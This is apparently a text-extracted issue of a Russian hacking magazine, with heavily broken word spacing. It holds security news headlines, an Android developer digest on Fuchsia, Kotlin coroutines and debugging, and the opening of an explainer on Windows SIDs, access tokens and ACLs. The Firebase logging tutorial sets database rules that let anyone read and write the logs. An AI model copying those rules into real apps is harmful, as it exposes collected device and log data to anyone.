ски ми  счет  ами,  UPI,  кре дит ными  кар тами…  Еще  одна  воз можность
для зло умышл  енни ка, который зна ет ваш номер телефо на, — это ата- 
ки по обме ну и клон  иро ванию SIM-кар ты», — говорит иссле доват  ель.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА

Хак  еры выдали свой сайт за один из доменов япон ской крип товалютн  ой бирж  и Coincheck
На хакерс  ких форумах раст  ет спрос на учет ные данн  ые от YouTube‐каналов
Опуб ликован RCE‐экс пло ит для пробл  емы SMBGhost
Опер  атор  ы шиф роваль щиков Maze, LockBit и Ragnar Locker объ еди нили уси лия
Ис след  оват  ели показал  и, как мож но под слу шивать разг  оворы через обычн  ую лам почку
Юж ноафр  икан ский  банк  перевып  уск  ает  12  милл  ионов  карт,  так  как  сотр  удник  украл  мас‐ 
тер‐ключ
Сот рудни ки eBay прис  ыла ли похорон ные венк  и и окро вавл  енные маск  и недоволь ным блог  ерам
Mozilla запус тит собст  вен ный VPN‐серв  ис в ближ  айш  ие недели
Blu‐ray‐пле еры Samsung ушли в бес конечн  ую перезагр  узку, и ник то не зна ет почему
Zoom перес мотрел  а свое решение: сквозн  ое шиф рование будет дос тупно всем

HEADER

ANDROID

АРХИТЕКТУРА FUCHSIA
И ТЯЖЕЛОВЕСНЫЕ
ВЫЧИСЛЕНИЯ
В UI‐ПОТОКЕ

В  этом  выпуск  е:  пог ружение  в  архит  ек туру Евгений Зобнин
и безопас ность ОС Fuchsia, неск  оль ко спо‐  Редактор Unixoid и Mobile
собов использ  овать Kotlin в качес тве скрип‐ 
тового  язы ка,  неожи дан ный  спо соб  запус‐  [email protected]
тить тяжело весн  ые вычисл  ения в основном
потоке  при ложе ния,  читш  ит  по  колл  екция  м
Kotlin, советы по работе с отладчи ком, спо‐ 
соб быст  рог  о заполн  ения полей data‐клас‐ 
сов и спос  об хра нения логов на уда ленн  ом
сер вере  без  необх  одимост  и  подн  имать
сер вер.  А  такж  е  свеж  ая  под борка  биб‐ 
лиотек для разр  аботч  иков.

ПОЧИТАТЬ

Fuchsia: архитектура и безопасность
Playing  Around  With  The  Fuchsia  Operating  System  —  исслед  ова ние  безопас‐ 
ности  опер  ацио  нной  сист  емы  Fuchsia,  которая,  по  слух  ам,  дол жна  прийт  и
на  смен  у  Android.  Иссле доват  ели  нашл  и  в  ОС  нес коль ко  станд  ар тных  багов,
которые  тем  не  менее  не  дают  каких‐либо  полн  омочий  в  сист  еме  в  силу
самой  архит  ек туры  ОС.  И  имен но  опи сание  архи тек туры  —  наибо лее  инте‐ 
ресн  ая часть статьи.

Fuchsia  —  это  микр  оядер ная  опе рацио  нная  сист  ема  на  базе  ядра  Zircon,
написанн  ого  на  язы ке  C++.  Все  осталь ные  ком понент  ы  ОС,  обычн  о  реали‐ 
зован ные  внут ри  ядра,  вынесе ны  в  сер висы  прост  ранст  ва  польз  овател  я
и обща ются межд  у собой с помощью незави симо го от язык  а механизм  а IPC.
Часть  этих  ком понент  ов,  как  и  само  ядро,  реали зован  а  на  язык  е  C++  (драй‐ 
веры  USB,  нап ример),  дру гая  часть  —  на  друг  их  язык  ах.  Нап ример,  TCP/IP‐
стек написан на язык  е Rust, так же подд  ержив  ает ся Go.

Мик роядр  о и ком понент  ы Fuchsia

В отли чие от дру гих мик роядерн  ых ОС, драйв  еры Fuchsia могут быть объ еди‐ 
нены  в  один  про цесс,  имен  уемый  devhost.  На  рисунк  е  ниже  драй веры  AHCI,
SATA, MinFS и BlobFS объе  ди нены в Devhost Proccess 3.

Devhost‐про цес сы Fuchsia

Так  ая  архи тек тура  позв  оля ет  сок ратить  количест  во  перек лючений  кон тек ста
и сдел  ать ОС более эффектив ной. С друг  ой стор  оны, надеж ность ком понен‐ 
тов сни жает ся, но не катас тро фичес ки — devhost‐проц  ес сы обыч но объ еди‐ 
няют  в  себе  драйв  еры  одног  о  сте ка  (в  слу чае  с  Devhost  Process  3  это  драй‐ 
веры для работы с внут ренним накопит  елем ПК), поэто му уязв  имость в одном
про цес се  Devhost  при ведет  к  уязв  имост  и  в  драйв  ерах  одно го  стек  а  и  не
заденет  друг  ие  (нап ример,  драйв  еры  USB).  Fuchsia  активно  исполь зует
модуль IOMMU для защиты памяти устрой ств. Кажд  ый про цесс Devhost имее  т
прав  о обращ  атьс  я толь ко к сво им адрес  ам ввод  а‐вывода.

Как и Unix, Fuchsia сле дует конц  епции «все есть файл», когд  а файл  ы могут
пред ставл  ять  собой  как  дан ные  на  дис ке,  так  и  устрой ства  или  каналы  ком‐ 
муника ции. Одна ко, в отлич  ие от Unix, Fuchsia не открыв  ает кажд  ому проц  ес‐ 
су дост  уп ко всей фай ловой иерар хии, а созд  ает для него собст  вен ное прос‐ 
транст  во  имен  (так  же  как  это  делае  т  Plan  9,  неудавш  аяся  прее  мниц  а  Unix).
Так  реализ  ует ся  идея  песочн  ицы,  ког да  кажд  ое  при ложе ние  име ет  дос туп
толь ко к огран  ичен ному набору ресурс  ов.

На самом низк  ом уров не (уровн  е микр  оядр  а Zircon) все файл  ы предс  тав‐ 
лены  хен дла ми  (handle)  —  это  нечт  о  врод  е  токена  для  дос тупа  к  фай ловому
объ екту. Каж дый хендл дол жен иметь свой вид (kind) и прав  а, которые кон тро‐ 
лиру ют дост  уп к сис темным вызовам.

В  репози тории  Fuchsia  все  комп  онен ты  име ют  unit‐тес ты  и  фуз зеры.  Код
собира ется с акти виро ван ными тех нология  ми защиты: ASLR, DEP, SafeStack,
ShadowCallStack  и  AutoVarInit.  Для  кода  на  C++  дополн  итель но  повыша ют
надеж ность.  Напр  имер,  час то  использ  ует ся  вер сия  опе ратор  а  []  с  про вер‐ 
ками гран  иц мас сива.

РАЗРАБОТЧИКУ

Kotlin в качестве скриптового языка
May  2020:  The  state  of  Kotlin  Scripting  —  статья  об  исполь зовании  Kotlin
в качес тве скрипт  ового язык  а.

Су щес твуе  т два спо соба запуст  ить код Kotlin как скрипт: kscript, успевший
стать станд  арт  ным методом, и запуск с помощью самого ком пилятор  а Kotlin
(который тоже может работать в качест  ве интер прет  атор  а).

В перв  ом слу чае скрипт для macOS/Linux будет выг лядеть так:

#!/usr/bin/env kscript
println("my args are ${args.joinToString(", ")}")

Во вто ром — так:

#!/usr/bin/env kotlin
println("my args are ${args.joinToString(", ")}")

Перв  ый спо соб пред лагае  т наиболь шую функ  цио  наль ность, в том чис ле:
• кеш  иро вание  байт‐кода  для  уско рения  посл  еду ющих  запуск  ов  того  же

скрипт  а;
• возм  ожность под клю чать зависим  ост  и Maven:

@file:DependsOn("com.squareup.okhttp3:okhttp:4.7.2")

• возм  ожность авто матич  ес кой уста новк  и kscript при запуск  е скрипт  а.

Вто рой  спо соб  менее  фун кцио  нал  ен,  но  в  данн  ый  момент  под держив  ает ся
коман дой  Kotlin  в  пер вую  очер  едь.  Кром  е  того,  такие  скрип ты  можн  о  редак‐ 
тировать  в  IDEA  нап рямую,  без  необ ходимос ти  созд  авать  про ект.  Прим  еры
скрипт  ов: kscript, Kotlin.

Тяжеловесные вычисления в основном потоке
How  to  run  an  expensive  calculation  with  Kotlin  Coroutines  on  the  Android  Main
Thread  without  freezing  the  UI  —  статья  о  том,  как  запуст  ить  вычисл  ения
в основном потоке прил  ожен  ия и при этом не соз дать пробл  ем с отрис  ов кой
интерфейс  а.

Все  знаю  т,  что  Android  выпол няет  опе рации  отри сов ки  граф  ичес кого
интерфей са  в  основном  потоке  при ложе ния.  Поэто му,  чтоб  ы  не  получить
фриз  ы,  необх  одимо  выносить  все  тяжелов  есн  ые  вычис ления  в  фоновый
поток. Это золотой станд  арт раз работ ки для Android. Но, как ни стран но, его
можн  о обой ти.

Вот станд  ар тный прим  ер выноса вычис лений в фоновый поток с помощью
коро утин:

private suspend fun calculateFactorialOnDefaultDispatcher(number: Int
): BigInteger =

   withContext(Dispatchers.Default) {
       var factorial = BigInteger.ONE
       for (i in 1..number) {
           factorial = factorial.multiply(BigInteger.valueOf(i.
toLong()))
       }
       factorial
   }

Есл  и  вынес ти  код  это го  метода  из  блок  а  withContext(),  он  законо мерн  о
подв  есит интерфейс на нес коль ко секунд. Но! Если при этом добавить в код
вызов  фун кции  yield(),  интерфейс  никак  не  пост  рад  ает  и  остан  ет ся  плав‐ 
ным:

private suspend fun calculateFactorialInMainThreadUsingYield(number: 
Int): BigInteger {

   var factorial = BigInteger.ONE
   for (i in 1..number) {
       yield()
       factorial = factorial.multiply(BigInteger.valueOf(i.toLong())
)
   }
   return factorial
}

Как  это  возм  ожно?  Все  дело  в  том,  как  Android  вызыва ет  код  отрис  овк  и
интерфей са  в  основном  потоке  при ложе ния.  Каж дые  16  мил лисекунд  (при
час тоте  обновлен  ия  экра на  в  60  герц)  фрей мворк  Android  добавл  яет  новый
Runnable  (по  сути,  блок  кода)  с  кодом  обновле ния  интерфей са  в  оче редь
исполнен  ия  (MessageQueue)  основно го  потока  при ложе ния.  Если  основной
поток  не  занят  в  это  вре мя  дру гой  работой,  он  исполнит  этот  код.  В  про тив‐ 
ном случ  ае про дол жится исполне ние текуще го кода, а опер  ация обновле ния
будет  про пущен  а.  Так  прои  схо дит  про пуск  кад ра,  а  проп  уск  неск  оль ких  кад‐ 
ров под ряд выгл  ядит как фриз интерфейс  а.

Именн  о это дол жно было слу чить ся при запус ке пред  ыду щего кода. Но не
слу чилось бла годар  я вызову фун кции yield(). Эта фун кция при оста нав лива‐ 
ет  исполнен  ие  текущей  короу  ти ны  до  получен  ия  след  ующег  о  элем  ент  а  (в
дан ном  слу чае  чис ла).  При остан  овк  а  коро утин  ы,  в  свою  очер  едь,  прив  одит
к  перемещ  ению  кода  обра бот ки  след  ующе го  элем  ен та  в  MessageQueue.
В ито ге весь код вычис ления фак тори ала раз бива ется на множ  ес тво малень‐ 
ких бло ков, которые помещаю  тся в очер  едь исполне ния впе ремешк  у с кодом
обновле ния  экран  а.  Поток  успе вает  выпол нить  неск  оль ко  шагов  вычис ления
фак тори ала, затем код обновлен  ия UI, затем еще неск  оль ко шагов фак тори‐ 
ала и так далее.

Оче редь исполнен  ия основног  о потока при ложе ния при исполь зовании
yield

Это канонич  еск  ий при мер того, что называ ют сло вом concurrency в про тиво‐ 
вес  парал лель ному  вычис лению.  Мы  по  макс  имуму  загр  ужае  м  основной
поток работой, при этом позв  оляя ему быст  ро перек лючать ся меж ду задача‐ 
ми.  Факт  ориа  л  при  таком  под ходе  вычисл  яет ся  прим  ер но  в  два  раза  мед‐ 
леннее, зато интерфейс оста ется плав ным даже без исполь зования фоновых
потоков.

Читшит по коллекциям Kotlin
Kotlin  Collection  Functions  Cheat  Sheet  —  боль шая  шпар галка  по  фун кция  м
Kotlin для работы с кол лекция  ми. Наибо лее инте ресн  ые момен ты:
• Кро ме  стан дар тных  списк  ов,  хешм  апов  и  сетов,  в  Kotlin  так же  есть  такие

типы  кол лекций,  как  linkedMap,  linkedSet,  sortedMap  и  sortedSet.  По  сути,
это  ана логи  тех  же  сетов  и  хеш мапов,  но  с  фун кци ями  сохр  анения  пос‐ 
ледова тель нос ти  элем  ен тов  (linked)  или  автом  атич  ес кой  сор тиров кой
(sorted).
• Кро ме  функ  ций  для  созд  ания  кол лекций,  в  язык  е  такж  е  есть  ряд  функ  ций
для их копиро вания. Нап ример, кро ме стан дарт  ног  о метода copyOf, так‐ 
же  дос тупны  методы  copyInto  —  ско пиро вать  все  эле мен ты  в  друг  ой
масс  ив, copyOfRange — ско пиро вать диапа зон элем  ент  ов и toCollec­
tion — ско пиро вать все элем  ент  ы в друг  ую кол лекцию.
• При  прис воении  кол лекций  можн  о  исполь зовать  методы  для  возв  ра та
дефол тных знач  ений: ifEmpty — вер нуть дефол тное знач  ение, если кол‐ 
лекция  пус та;  orEmpty  —  верн  уть  пуст  ую  кол лекцию,  если  текущая  кол‐ 
лекция  рав на  null;  requireNoNulls  —  выбр  асывае  т  исклю чение  Ille­
galArgumentException,  если  все  эле мен ты  кол лекции  рав ны  null;
listOfNotNull  —  исклю чение,  если  хотя  бы  один  из  эле мент  ов  равен
null.
• Функ  ции  toIntArray  и  asIntArray  (а  такж  е  все  осталь ные  функ  ции
с  анал  огичн  ыми  име нами)  разл  ича ются  тем,  что  перв  ая  соз дает  спи сок
с новыми элем  ент  ами на осно ве ориг  иналь ного списк  а, а втор  ая соз дает
спис  ок элем  ент  ов — ссыл  ок на элем  ент  ы ори гиналь ного спис ка.
• Зап  ись  map.toList()  экви валент  на  записи  map.entries.map  {  it.
toPair() }.
• Что бы  обрат  ить ся  к  эле мен там  списк  а  (List)  по  индексам,  можн  о  исполь‐ 
зовать функ  цию withIndex.
• Боль шая  часть  фун кций  —  модифи катор  ов  списк  ов  име ет  эквив  алент,
не изме няющий спис  ок. Нап ример, у функ  ции add, добавл  яющей эле мент
в  спи сок,  есть  экви валент  ная  фун кция  plus,  которая  воз вращ  ает  новый
спи сок  с  добав ленным  эле мент  ом.  Дру гие  при меры:  removeFirst  —
drop, removeLast — dropLast.
• Kotlin  позв  оля ет  объе  дин  ять  кол лекции  неск  оль кими  спо собам  и.  Нап‐ 
ример,  union  созд  ает  новую  кол лекцию,  в  которой  прис  утст  вую  т  тольк  о
уни кальн  ые  элем  ен ты  двух  кол лекций,  intersect  —  новая  кол лекция
с  эле мент  ами,  которые  прис  утс твую  т  в  обе их  колл  екци ях,  substract  —
кол лекция  элем  ен тов,  прис  утс тву ющих  тольк  о  в  пер вом  списк  е.  Фун кция
zip  воз вращ  ает  кол лекцию,  каж дый  элем  ент  которой  включ  ает  эле мен ты
из перв  ой и вто рой кол лекции с оди нако вым индексом.
• Кро ме всем извест  но го метода map, пред назнач  енн  ого для прео  браз  ова‐ 
ния  кол лекции  эле мент  ов  одног  о  типа  в  кол лекцию  элем  ен тов  друг  ого
типа, сущест  ву ют и друг  ие фун кции: aggregate — объе  ди нение неск  оль‐ 
ких  элем  ен тов,  associate  —  связ  ыва ние  эле мент  а  с  каким‐либо  зна‐ 
чение  м, groupBy — групп  ировк  а элем  ен тов, flatten — прео  браз  ован  ие
мно гомер ных  кол лекций  в  одном  ер ные,  chunked  —  разб  ивка  по  катего‐ 
риям.

Спо собы объ еди нения кол лекций

Советы по работе с отладчиком
Debugging in Android Studio — подб  орка спо собов сдел  ать работу с отладчи‐ 
ком про ще. Наибо лее интер  есн  ые советы:
• Android Studio позв  оля ет устан  овить так называе  мый условный брейк‐пой‐ 

нт. Он сра ботае  т тольк  о в том слу чае, если указ  ан ное в нем усло вие будет
верн  ым  (напр  имер,  перемен ная  равн  а  опред  еленн  ому  знач  ению).
Добавить такое усло вие можн  о с помощью конт  екст  но го меню по прав  ой
кноп ке мыши.
• Кро ме условных брейк‐пойн  тов, сущес тву ют такж  е зависи мые брейк‐пой‐ 
нты.  Они  сраб  аты вают  толь ко  в  том  случ  ае,  если  сраб  отае  т  дру гой
брейк‐пой нт.  Что бы  добавить  такую  зависи мость,  сле дует  выбр  ать  More
в конт  екст  ном меню брейк‐пойн  та, затем выб рать брейк‐пойн  т, от которо‐ 
го  будет  зависеть  текущий  брейк‐пойн  т,  в  конт  екс тном  меню  Disable  until
breakpoint is hit.
• По умол чанию брейк‐пой нт замора жива ет все потоки прил  ожен  ия. Изме‐ 
нить  такое  поведе ние  мож но  с  помощью  кон текс тно го  меню  —  Supsend:
thread.
• Брейк‐пойн  ты  можн  о  использ  овать  не  толь ко  для  остан  овк  и  прил  ожен  ия.
Android  Studio  позв  оля ет  сде лать  так,  что бы  вмест  о  остан  ов ки 
брейк‐пойнт выводил в лог отлад  оч ную информац  ию (по ана логии с фун‐ 
кция  ми  логиро вания  Android).  Для  это го  нажимае  м  в  конт  екст  ном  меню
брейк‐пойн  та More и в открывш  емся окне наст  рое  к отклю чаем опцию Sus‐
pend  и  вклю чаем  опцию  Evaluate  and  log.  В  поле  ввод  а  указ  ывае  м
перемен ную, знач  ение которой нуж но вывест  и на экран.
• От ладчик поз воляе  т просл  едить жиз ненный цикл любого выб ранно го объ‐ 
екта  незави симо  от  того,  в  каком  мест  е  кода  ты  в  дан ный  момент
находишь ся.  Для  это го  необх  одимо  пос тавить  на  выбр  анный  объ ект
отметку:  Mark  Object  в  конт  екст  ном  меню  объе  кта  в  окне  Variables.  Пос ле
это го он будет добавл  ен на вкладк  у Watches.
• Друг  ой спо соб просл  едить объ ект — это использ  овать кнопк  у Evaluate Ex‐
pression  в  панели  отладчи ка.  Прос то  напеча тай  имя  объ екта,  и  окно
резуль тата позв  олит тебе исслед  овать этот объ ект.

Фун кция Evaluate Expression в дей ствии

Хранение логов в Firebase
Remote  logging  with  Timber  and  Firebase  Realtime  Database  —  статья  о  том,
как хран  ить логи при ложен  ия на удал  енн  ом сер вере без необх  одимос ти под‐ 
нимать собст  венн  ый серв  ер.

Авт  ору  было  нуж но  каким‐то  образ  ом  получать  логи  от  польз  овате лей,
при  том  что  средн  естат  ис тическ  ий  поль зователь  в  прин ципе  не  знае  т,
как снять логи, а вклю чать логиров  ание в релизн  ых сборк  ах — не самая луч‐ 
шая идея. Выход нашелс  я в исполь зовании облачной Firebase Realtime Data‐
base и биб лиотек  и логиров  ания Timber.

Для  начала  надо  подк  лю чить  биб лиотек  у  Firebase  к  при ложен  ию,  а  затем
зарегист  рир  оватьс  я  и  соз дать  про ект  в  Firebase Console.  Об  этом  написа но
мно жест  во туториа  лов.

С помощью конс  оли Firebase нуж но соз дать новую базу дан ных и добавить
пра вила дос тупа:

{
 "rules": {
   ".read": true,
   ".write": true
 }

}

Да лее к про екту сле дует под клю чить библ  иоте ку Timber:

implementation 'com.jakewharton.timber:timber:4.7.1'

Так же понадо бит ся data‐класс для хран  ения записей логов:

data class RemoteLog(
   var priority: String,
   var tag: String?,
   var message: String,
   var throwable: String?,
   val time : String

)

И класс для хра нения информа ции об устрой стве:

data class DeviceDetails(
   val deviceId: String,
   val osVersion: String = Build.VERSION.RELEASE,
   val manufacturer: String = Build.MANUFACTURER,
   val brand: String = Build.BRAND,
   val device: String = Build.DEVICE,
   val model: String = Build.MODEL,
   val appVersionName: String = BuildConfig.VERSION_NAME,
   val appVersionCode: Int = BuildConfig.VERSION_CODE

)

Для  созд  ания  записей  на  осно ве  этог  о  класс  а  восп  ольз  уемс  я  след  ующим
деревом Timber (в тер миноло гии Timber это свое  го рода хенд  лер, обра бот чик
записыв  аемых в лог сооб щений):

class TimberRemoteTree(private val deviceDetails: DeviceDetails) : 
Timber.DebugTree() {

   private val dateFormat = SimpleDateFormat("dd‐MM‐yyyy", Locale.
getDefault())

   private val timeFormat = SimpleDateFormat("yyyy‐MM‐dd hh:mm:ss.
SSS a zzz", Locale.getDefault())

   private val date = dateFormat.format(Date(System.
currentTimeMillis()))

   private val logRef = Firebase.database.getReference("logs/$date/
${deviceDetails.deviceId}")

   override fun log(priority: Int, tag: String?, message: String, t: 
Throwable?) {

       if (BuildConfig.REMOTE_LOG_ENABLED) {
           val timestamp = System.currentTimeMillis()
           val time = timeFormat.format(Date(timestamp))
           val remoteLog = RemoteLog(priorityAsString(priority), tag
, message, t.toString(), time)

           with(logRef) {
               updateChildren(mapOf(Pair("‐DeviceDetails", 
deviceDetails)))
               child(timestamp.toString()).setValue(remoteLog)
           }
       } else super.log(priority, tag, message, t)
   }

   private fun priorityAsString(priority: Int): String = when (
priority) {

       Log.VERBOSE ‐> "VERBOSE"
       Log.DEBUG ‐> "DEBUG"
       Log.INFO ‐> "INFO"
       Log.WARN ‐> "WARN"
       Log.ERROR ‐> "ERROR"
       Log.ASSERT ‐> "ASSERT"
       else ‐> priority.toString()
   }
}

Это все, теперь дос таточн  о «посадить» это дерево:

if (BuildConfig.DEBUG) {
   val deviceId = Settings.Secure.getString(contentResolver, 

Settings.Secure.ANDROID_ID)
   val deviceDetails = DeviceDetails(deviceId)
   val remoteTree = TimberRemoteTree(deviceDetails)
   Timber.plant(remoteTree)

} else {
    // TODO plant timber release tree.

}

Как видн  о, облачное сохр  анение логов будет акти виро вано тольк  о в том слу‐ 
чае,  если  это  DEBUG‐сбор ка  прил  ожен  ия,  а  перемен ная  BuildConfig.RE‐
MOTE_LOG_ENABLED имее  т зна чение true.

Автозаполнение полей data-классов
My IntelliJ Plugin Collection – Kotlin Fill class — очень корот кая замет ка об очень
полезн  ом пла гине Intellij IDEA и Android Studio.

Плаг  ин  называе  тся  Kotlin  Fill  Class  и,  как  след  ует  из  его  наз вания,  пред‐ 
назна чен  для  быс тро го  авто мати чес кого  запол нения  аргу мент  ов  конс трук‐ 
торов клас сов.

Очень  полезен  при  исполь зовании  data‐класс  ов  с  боль шим  количест  вом
полей. Дос таточ но навес ти кур сор на имя клас са, нажать Alt + Enter и выб рать
пункт Fill Class Constructor, и пла гин авто матич  ес ки встав  ит все имен  ованн  ые
аргум  ен ты, присв  оив им дефол тные зна чения.

Пла гин такж  е работае  т и для функ  ций.

Ре зульт  ат работы пла гина

ИНСТРУМЕНТЫ

• sndcpy — ути лита для перебр  оса зву ка с устрой ства на ПК (анал  ог scrcpy
для зву ка).

БИБЛИОТЕКИ

• Meow‐Framework‐MVVM  —  фрей мворк  для  быс трог  о  соз дания  прил  оже‐ 
ний с архит  ект  урой MVVM;

• CornerSheet — view, выезж  ающий с края экран  а;
• Dsl‐api‐generator — плаг  ин IDEA и Android Studio для генерац  ии DSL;
• Rawdrawandroid  —  фрейм  ворк  для  созд  ания  при ложен  ий  под  Android

на чист  ом С;
• Niddler — инст  рум  ент отладки сетево го кода;
• Register — инс трум  ент отладки покупок внут ри прил  ожен  ия;
• State‐delegator  —  биб лиотек  а,  упрощ  ающая  управлен  ие  сост  ояниями

экран  а;
• Prefiller — пла гин Gradle для генерац  ии пред варитель но заполн  енных баз

данн  ых Room в момент комп  иляции.

COVERSTORY

ПРАКТИКА
РАЗБИТЫХ

ОКОН

v31_v37
[email protected]

КАК УСТРОЕНА СИСТЕМА
БЕЗОПАСНОСТИ WINDOWS

И КАК ЕЕ ОБХОДЯТ

Когд  а‐то  счит  алось,  что  сист  ема  локальн  ой  безопасн  ости
Windows похожа на кованые желез ные ворота с хит рым зам‐ 
ком, стоя  щие пос реди чис того поля: выгл  ядят гроз но, но вот
эффектив ность  весь ма  сомн  ительн  а.  Врем  ена  меня ются,
и  механиз мы  защиты  вин ды  понемн  огу  эво люци они руют.
Сегодн  я  мы  поговор  им  о  том,  как  устрое  на  безопасн  ость
в совр  еменн  ых вер сиях Windows.

WARNING

Вся  информа ция  пре дос тавлен  а  исключ  итель но
в ознак  омит  ельн  ых целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, прич  инен ный информа цией из этой статьи.

В  Windows  все  активные  сущн  ости,  которые  могут  быть  аутент  ифици рован  ы
опер  аци онной сис темой (поль зовате ли или груп пы), называ ются учас тник  ами
безопасн  ости  (security  principals).  Все  учас тни ки  безопас ности  имею  т  уни‐ 
кальн  ый иден тифика тор переменн  ой дли ны — Security ID (SID). Выгл  ядит SID,
напр  имер, так:

S‐1‐5‐21‐1687231434‐1254558764‐1544283289‐1004 

Структ  ура SID — S‐R‐IA‐SA‐RID, где:
• S  —  литеральн  ый  преф  икс,  указ  ывае  т  на  то,  что  иден тифика тор  явля ется

SID (это прос то конв  енция наимен  ова ния);
• R — одно бай тное знач  ение вер сии или ревизии (revision) SID. Пока сущес‐ 

тву ет толь ко верс  ия 1;
• IA — источник выдачи (issuing authority), шест  ибайт  ное знач  ение. Указ  ыва‐ 

ет, в чьей области ответст  вен ности был выдан SID (букв  аль но authority зна‐ 
чит  «орган  власт  и»).  Почт  и  всег да  име ет  зна чение  5  (SECURITY_NT_AU­
THORITY),  за  исклю чени ем  well‐known  SID,  о  которых  мы  погово рим  чуть
позж  е. Напр  имер, 1 означ  ает SECURITY_WORLD_SID_AUTHORITY и отно‐ 
сит ся к well‐known‐групп  е Everybody;
• SA — упол номоченн  ый центр (sub‐authority). Уник  аль ное (в рам ках IA) зна‐ 
чение,  сост  оит  из  четырех  час тей:  4‐бай тног  о  числ  а,  указ  ываю  ще го,  кем
был  выдан  идент  ифика тор  (конт  рол лером  домена  или  локальн  ым  компь‐ 
юте ром),  и  12‐байт  но го  зна чения,  которое  делит ся  на  три  час ти  и  иден‐ 
тифици рует  конк  рет ный  объе  кт,  выдав ший  идент  ифика тор.  Смысл  это го
поля в том, что при наличии нес коль ких доменов в лесу объ екты в разн  ых
доменах будут иметь уни каль ный SA;
• RID  —  отно ситель ный  иден тифика тор  (Relative‐ID),  4‐байт  ное  зна чение,
служ  ит  для  раз деления  объе  ктов  внут ри  домена.  Для  встро енных  учет ных
записей  RID  всегд  а  будет  один  и  тот  же  (напр  имер,  для  учет ной  записи
адми нис трат  ора RID = 500).

Есл  и  быть  более  точ ным,  то  сущес тву ет  SID  машины  (machine  SID)  и  SID
домена (domain SID). А сам SID пред ставл  яет собой базовый идент  ификат  ор
(S, R, IA, SA) + RID.

Так же  есть  станд  арт  ные  так  называ емые  well‐known  SID  для  поль зовате‐ 
лей и групп. Они имею  т один и тот же SID на любых сис темах (напр  имер, груп‐ 
па Everyone или польз  ователь System).

WWW

Пои  зуч  ать SID мож но с помощью утил  иты PsGet‐
sid.exe из пакета Sysinternals. А почитать о струк‐ 
туре  SID  более  подр  обно  мож но,  нап ример,
в этих публ  икаци ях:
•Про цесс управлен  ия RID в Active Directory
•The structure of a SID
•Microsoft Security Descriptor (SID) Attributes

Так же при адми нис три рова нии мож но допуст  ить неболь шой недочет, связ  ан‐ 
ный  с  дуб ликаци ей  сидов.  Иногд  а  он  влия  ет  на  безопас ность  или 
функциональность (нап ример, когд  а ОС разв  ерты вают, прост  о копируя диск).
Об этом мож но почитать под робнее в статье Марк  а Рус синови ча, еще одной
статье и в VMware knowledge base.

SID, в свою очер  едь, вход  ит в так называ емый мар кер дост  упа — прог рам‐ 
мный  объе  кт  (структ  ура  в  ядре  Windows),  который  закр  епляе  тся  за  сесс  ией
(logon session) учас тни ков безопасн  ости посл  е автор  изац  ии. За выдачу мар‐ 
кера,  как  и  за  аутент  ифика цию,  отвеч  ает  LSASS  (local  security  authority
subsystem).

По мимо все го про чего, в марк  ер вклю чены SID поль зовате ля и его групп,
а  такж  е  ме ханизм  при виле гий  на  совер шение  каких‐либо  дейс  твий  (нап‐ 
ример, при вилег  ия на отладку debug, которая, кстат  и, использ  ует ся в mimikatz
для получен  ия дос тупа к сист  емным про цес сам).

Пос ле  того  как  удал  яет ся  посл  едний  ассо цииро ван ный  с  сес сией  токен,
LSASS  удал  яет  и  саму  сесс  ию  —  таким  обра зом  заверш  ает ся  сеанс  поль‐ 
зовател  я. Можн  о поподр  обнее изуч  ить струк туру мар кера дос тупа в отладчи‐ 
ке  ядра  (kernel  debugger)  с  помощью  команд  ы  dt_TOKEN.  Вообщ  е,  если
не  получа ется  нагуг лить  под робнос ти  о  внут реннем  устрой стве  Windows,
можн  о  изуч  ить  структ  уру  самому  с  помощью  средств  отладки.  Под робнос ти
предс  тав лены  в  до кумен тации  Microsoft.  С  при виле гиями  может  быть,  нап‐ 
ример, связ  ана такая вещь, как bypass traverse checking.

WWW

Мар керы  дост  упа  тоже  могут  иметь  проб лемы
с  безопас ностью.  Вот  неск  ольк  о  ссы лок
для более подр  обно го изуч  ения:
•Ин терес ная исс  лед  оват  ель ская работа Брайа  на

Алек сандер  а
•Блог по пен тесту и ред тиму ired.team
•Выст  упле ние  Андреа  Пьерин  и  с  кон ферен ции

Hack in Paris
•Статья Windows Privilege Abuse: Auditing, Detec‐

tion, and Defense (Palantir Security)

В свою очер  едь, для «пасс  ивных» объ ектов, которые предн  азнач  ены для пре‐ 
дост  авле ния к ним дос тупа извне (их называ ют securable objects), использ  ует‐ 
ся SD — security descriptor.  Это  деск  рип тор  для  управле ния  дос тупом  к  дан‐ 
ным объ ектам (напр  имер, про цесс может иметь SD или SD может быть при‐ 
вязан к файл  у в NTFS). У SD тоже, кстат  и, быва ют проб лемы с безопас ностью.

В security descriptor вклю чены ACL (access control list), которые бываю  т двух
видов — SACL (нужен для ведения жур нала дост  упа к объе  кту) и DACL (нужен
непос редст  вен но для управле ния дост  упом). В свою очер  едь, ACL включ  ают
ACE  (access  control  entry)  —  кажд  ая  ACE  пред назна чена  для  кон крет ного
субъ екта,  который  получае  т  дост  уп,  и  содер жит  в  себе  тип  (зап рет  или  раз‐ 
решение)  и  мас ку  дос тупа.  Пра вильн  о  нас трое  нные  ACL  позв  оля ют  перек‐ 
рыть несан кци они рованн  ый дос туп к объе  ктам внут ри сис темы.

Од нако, если кто‐то заг рузит ся на таком компью  тер  е в Linux или вытащит
жест  кий  диск  из  машины  с  Windows  и  при мон тируе  т  его  в  том  же  Linux,  он
смо жет  проч  итать  эти  данн  ые.  В  Windows  удас тся  получить  дос туп  к  дан ным
с «чужого» носите ля NTFS, толь ко если польз  ователь или его групп  а на дру‐ 
гой сис теме име ет тот же SID — напр  имер, если в ACL выс тавлен  о слиш ком
мно го прав на well‐known‐групп  ы.

От этог  о можн  о защититьс  я тольк  о шифр  ование  м, но сто ит быть остор  ож‐ 
нее  с  выбором  и  исполь зование  м  инст  рум  ен та  (см.  статьи  о  проб лемах
с  шифр  ованн  ыми  конт  ей нерами  VeraCrypt  и  BitLocker,  а  такж  е  уязв  имост  ях
NAS).

В  ядре  Windows  про вер ки  ACL  выпол няют ся  с  помощью  security reference
monitor  и  object  manager.  Пред  ост  авлен  ие  дост  упа  выг лядит  так:  субъе  кт
(польз  ователь)  пос ле  автор  изац  ии  получа ет  мар кер  дос тупа,  затем  субъ ект
обращ  ает ся  к  фай лу,  сис тема  сравн  ивае  т  необх  одимые  дан ные  из  мар кера
дос тупа  с  соот ветс твую  щи ми  ACE  в  DACL  объ екта,  и  в  зависим  ос ти  от  раз‐ 
